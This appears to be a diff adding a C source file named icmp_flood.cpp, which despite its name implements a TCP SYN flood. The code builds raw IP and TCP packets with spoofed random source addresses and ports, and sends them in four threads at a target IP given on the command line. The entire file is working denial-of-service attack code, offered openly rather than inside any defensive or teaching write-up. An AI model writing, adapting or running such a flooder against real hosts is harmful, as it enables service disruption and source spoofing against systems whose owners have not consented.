|
| 1 | +/* |
| 2 | + * icmp_flood.cpp |
| 3 | + * |
| 4 | + * Created on: 2016年10月21日 |
| 5 | + * Author: hanlon |
| 6 | + */ |
| 7 | + |
| 8 | +#include <unistd.h> |
| 9 | +#include <errno.h> |
| 10 | +#include <sys/time.h> |
| 11 | +#include <stdio.h> |
| 12 | +#include <string.h> // bzero |
| 13 | +#include <signal.h> |
| 14 | +#include <pthread.h> |
| 15 | +#include <stdlib.h> // void srand(unsigned seed) ; int rand(void); |
| 16 | +#include <sys/syscall.h> // syscall(SYS_gettid) |
| 17 | + |
| 18 | +#include <sys/socket.h> |
| 19 | +#include <netinet/in.h> // socket AF_INET SOCK_RAW IPPROTO_ICMP |
| 20 | +#include <netinet/ip.h> // struct ip |
| 21 | +#include <netinet/ip_icmp.h>// struct icmp ICMP_ECHO ICMP_ECHOREPLY |
| 22 | +#include <netinet/tcp.h> // struct tcphdr |
| 23 | +#include <netinet/udp.h> // struct udphdr |
| 24 | +#include <arpa/inet.h> // inet_ntoa(struct in_addr>>字符串) inet_addr(字符串>>长整型) |
| 25 | + // struct in_addr 是 struct sockaddr_in的成员 sin_addr 类型 |
| 26 | + // struct sockaddr_in 是 struct sockaddr 在以太网的具体实现 |
| 27 | +#include <netdb.h> // getprotobyname gethostbyname |
| 28 | +#include <net/if.h> // IFNAMSIZ struct ifreq |
| 29 | +#include <linux/sockios.h> // SIOCGIFADDR /* Socket configuration controls. */ |
| 30 | + |
| 31 | + |
| 32 | + |
| 33 | +static int rawsock = 0; /*发送和接收线程需要的socket描述符*/ |
| 34 | +static int alive = 0; |
| 35 | +static struct sockaddr_in target_addr ; |
| 36 | +#define ATTACK_THREAD_COUNT 4 |
| 37 | +#define ATTACK_DATA_LENGTH 64 |
| 38 | +struct tcp_sync_flood |
| 39 | +{ |
| 40 | + struct ip ip_header; |
| 41 | + struct tcphdr tcp_header; |
| 42 | + unsigned char data[ATTACK_DATA_LENGTH]; |
| 43 | +}; |
| 44 | + |
| 45 | +// 产生某个范围内的随机数 [begin,end] 包含begin和end |
| 46 | +static inline int random_src_addr(int begin , int end ){ |
| 47 | + int gap = end - begin + 1 ; |
| 48 | + srand((unsigned int)time(0)); |
| 49 | + return random()%gap + begin ; |
| 50 | +} |
| 51 | + |
| 52 | +static unsigned short crc16_cksum(unsigned char *data, int len) |
| 53 | +{ |
| 54 | + int sum=0; |
| 55 | + int odd = len & 0x01; |
| 56 | + while( len & 0xfffe) { |
| 57 | + sum += *(unsigned short*)data; |
| 58 | + data += 2; |
| 59 | + len -=2; |
| 60 | + } |
| 61 | + if( odd) { |
| 62 | + unsigned short tmp = ((*data)<<8)&0xff00; |
| 63 | + sum += tmp; |
| 64 | + } |
| 65 | + sum = (sum >>16) + (sum & 0xffff); |
| 66 | + sum += (sum >>16) ; |
| 67 | + return ~sum; |
| 68 | +} |
| 69 | + |
| 70 | +static void tcp_pack(struct tcphdr *tcph, int length ) |
| 71 | +{ |
| 72 | +#define TCP_HEADER_LEN 20 |
| 73 | + |
| 74 | + |
| 75 | + /*设置报头*/ |
| 76 | + tcph->source = random_src_addr(10000,65535); // 随机端口号 伪端口 |
| 77 | + //tcph->dest = random_src_addr(0,65535); // 随机端口号 伪端口 |
| 78 | + tcph->seq = ntohl(random_src_addr(0,100)); |
| 79 | + tcph->ack_seq = 0; |
| 80 | + tcph->doff = TCP_HEADER_LEN / 4 ; |
| 81 | + |
| 82 | + tcph->fin = 0; // 关闭链接 |
| 83 | + tcph->syn = 1; // 发起一个TCP连接 |
| 84 | + tcph->rst = 0 ; // 重建链接 |
| 85 | + tcph->psh = 0 ; // 尽快交给用户层 |
| 86 | + tcph->ack = 0 ; |
| 87 | + tcph->urg = 1 ; // 紧急指针字段 |
| 88 | + |
| 89 | + tcph->window = random_src_addr(0,65535); |
| 90 | + tcph->check = 0 ; |
| 91 | + tcph->urg_ptr = random_src_addr(0,65535); |
| 92 | + |
| 93 | + unsigned char* tcp_data = (unsigned char* )tcph + TCP_HEADER_LEN ; |
| 94 | + unsigned char i = 0; |
| 95 | + for(i = 0; i< length; i++){ |
| 96 | + tcp_data[i] = i; |
| 97 | + } |
| 98 | + |
| 99 | + tcph->check = crc16_cksum((unsigned char*)tcph, sizeof(struct tcphdr) + length) ; |
| 100 | +} |
| 101 | + |
| 102 | +static void ip_pack(struct ip * ipheader , struct sockaddr_in src , struct sockaddr_in dest , int total_len ) |
| 103 | +{ |
| 104 | +#define IP_HEADER_LEN 20 |
| 105 | + |
| 106 | + unsigned char i = 0; |
| 107 | + ipheader->ip_v = 4 ; |
| 108 | + ipheader->ip_hl = IP_HEADER_LEN /4 ; |
| 109 | + ipheader->ip_tos = 0 ; |
| 110 | + ipheader->ip_len = htons( total_len ); |
| 111 | + static unsigned short ip_id = 0 ; |
| 112 | + ipheader->ip_id = htons(ip_id) ; // static 在多线程中 在进程中共享 可能不安全 |
| 113 | + ip_id ++ ; |
| 114 | + unsigned short off = IP_DF | (0 & IP_OFFMASK ) ; // do not Fragmant |
| 115 | + ipheader->ip_off = htons (off); |
| 116 | + ipheader->ip_ttl = 128 ; |
| 117 | + ipheader->ip_p = IPPROTO_TCP; // 修改上层协议 ICMP TCP |
| 118 | + ipheader->ip_sum = 0 ; |
| 119 | + ipheader->ip_src = src.sin_addr ; |
| 120 | + ipheader->ip_dst = dest.sin_addr ; |
| 121 | + |
| 122 | + ipheader->ip_sum = crc16_cksum((unsigned char*)ipheader, 20 ); |
| 123 | +} |
| 124 | + |
| 125 | + |
| 126 | + |
| 127 | +static void* flood_send(void *argv) |
| 128 | +{ |
| 129 | + struct tcp_sync_flood attracker; |
| 130 | + memset(&attracker , 0 , sizeof(struct tcp_sync_flood) ); |
| 131 | + int seq = 0 ; |
| 132 | + while(alive) |
| 133 | + { |
| 134 | + |
| 135 | + struct sockaddr_in random_src ; |
| 136 | + random_src.sin_addr.s_addr = (192&0x000000FF) |
| 137 | + + ((168 << 8)&0x0000FF00) |
| 138 | + + ((1 << 16)&0x00FF0000) |
| 139 | + + ((random_src_addr(1,254) << 24)&0xFF000000) ; |
| 140 | + printf("random src %s [%ld]\n" , inet_ntoa(random_src.sin_addr) , syscall(SYS_gettid)); |
| 141 | + |
| 142 | + tcp_pack((struct tcphdr *)&attracker.tcp_header, ATTACK_DATA_LENGTH ); |
| 143 | + ip_pack((struct ip*)&attracker.ip_header , random_src , target_addr , |
| 144 | + sizeof(struct ip) + sizeof(struct tcphdr) + ATTACK_DATA_LENGTH ); |
| 145 | + |
| 146 | + int size = 0; |
| 147 | + size = sendto (rawsock, |
| 148 | + &attracker, |
| 149 | + sizeof(struct ip) + sizeof(struct tcphdr) + ATTACK_DATA_LENGTH , |
| 150 | + 0, /*flag */ |
| 151 | + (struct sockaddr *)&target_addr, sizeof(target_addr) ); |
| 152 | + if(size <0){ |
| 153 | + perror("sendto error"); |
| 154 | + sleep(10); |
| 155 | + continue; |
| 156 | + } |
| 157 | + sleep(5); |
| 158 | + } |
| 159 | + return NULL; |
| 160 | +} |
| 161 | + |
| 162 | +static void stop_flood_sigint(int signo) |
| 163 | +{ |
| 164 | + alive = 0; |
| 165 | + return; |
| 166 | +} |
| 167 | + |
| 168 | + |
| 169 | + |
| 170 | +int main(int argc, char *argv[]) |
| 171 | +{ |
| 172 | + struct hostent * host = NULL; |
| 173 | + struct protoent *protocol = NULL; |
| 174 | + int ret = 0 ; |
| 175 | + |
| 176 | + |
| 177 | + printf("sizeof(struct ip) = %zd\n" , sizeof(struct ip) ); |
| 178 | + printf("sizeof(struct tcphdr) = %zd\n" , sizeof(struct tcphdr) ); |
| 179 | + printf("sizeof(struct icmp) = %zd\n" , sizeof(struct icmp) ); |
| 180 | + |
| 181 | + /* |
| 182 | + * sizeof(struct ip) = 20 |
| 183 | + sizeof(struct tcphdr) = 20 |
| 184 | + sizeof(struct icmp) = 28 <= icmp需要特别注意其大小 |
| 185 | + * |
| 186 | + * */ |
| 187 | + |
| 188 | + bzero(&target_addr, sizeof(target_addr)); |
| 189 | + target_addr.sin_family = AF_INET; |
| 190 | + in_addr_t inaddr = inet_addr(argv[1]); // 输入的目的地址为字符串IP地址 |
| 191 | + if(inaddr == INADDR_NONE){ |
| 192 | + printf("usage : ./flood 192.168.1.1\n"); |
| 193 | + return -1 ; |
| 194 | + }else{ // 为IP地址字符串 |
| 195 | + memcpy((char*)&target_addr.sin_addr, &inaddr, sizeof(inaddr)); |
| 196 | + } |
| 197 | + printf("Target>>>(%d.%d.%d.%d)\n", |
| 198 | + (target_addr.sin_addr.s_addr&0x000000FF)>>0, |
| 199 | + (target_addr.sin_addr.s_addr&0x0000FF00)>>8, |
| 200 | + (target_addr.sin_addr.s_addr&0x00FF0000)>>16, |
| 201 | + (target_addr.sin_addr.s_addr&0xFF000000)>>24); |
| 202 | + |
| 203 | + protocol = getprotobyname("tcp"); |
| 204 | + if (protocol == NULL){ |
| 205 | + perror("getprotobyname()"); |
| 206 | + return -1; |
| 207 | + }else{ |
| 208 | + printf("getprotobyname %s %d\n", protocol->p_name, protocol->p_proto); |
| 209 | + } |
| 210 | + |
| 211 | + rawsock = socket(AF_INET, SOCK_RAW, protocol->p_proto); |
| 212 | + if(rawsock < 0){ |
| 213 | + perror("create socket error"); |
| 214 | + return -1; |
| 215 | + } |
| 216 | + |
| 217 | + int set = 1 ; |
| 218 | + protocol = getprotobyname("ip"); |
| 219 | + if (protocol == NULL){ |
| 220 | + perror("getprotobyname()"); |
| 221 | + return -1; |
| 222 | + }else{ |
| 223 | + printf("getprotobyname %s %d\n", protocol->p_name, protocol->p_proto); |
| 224 | + } |
| 225 | + ret = setsockopt(rawsock, protocol->p_proto/*IPPROTO_IP*/, IP_HDRINCL, &set, sizeof(set)); |
| 226 | + if( ret < 0 ){ |
| 227 | + perror("setsockopt IP_HDRINCL error"); |
| 228 | + return -1 ; |
| 229 | + } |
| 230 | + |
| 231 | + signal(SIGINT, stop_flood_sigint); |
| 232 | + alive = 1; |
| 233 | + pthread_t attack_thread_group[ATTACK_THREAD_COUNT]; |
| 234 | + int err = 0; |
| 235 | + |
| 236 | + int i = 0 ; |
| 237 | + for( i = 0 ; i < ATTACK_THREAD_COUNT ; i++ ){ |
| 238 | + err = pthread_create(&attack_thread_group[i], NULL, flood_send, NULL); |
| 239 | + if(err < 0){ |
| 240 | + attack_thread_group[i] = -1 ; |
| 241 | + printf("pthread_create %d error \n" , i); |
| 242 | + }else{ |
| 243 | + sleep(1); // time(0) random |
| 244 | + printf("pthread_create %d ok \n" , i); |
| 245 | + } |
| 246 | + } |
| 247 | + |
| 248 | + for( i = 0 ; i < ATTACK_THREAD_COUNT ; i++ ){ |
| 249 | + if( attack_thread_group[i] != -1 ){ |
| 250 | + err = pthread_join(attack_thread_group[i], NULL); |
| 251 | + if(err < 0){ |
| 252 | + printf("pthread_join %d error \n" , i); |
| 253 | + }else{ |
| 254 | + printf("pthread_join %d ok\n" , i); |
| 255 | + } |
| 256 | + } |
| 257 | + } |
| 258 | + close(rawsock); |
| 259 | + |
| 260 | + return 0; |
| 261 | +} |
| 262 | + |
| 263 | + |
| 264 | + |
0 commit comments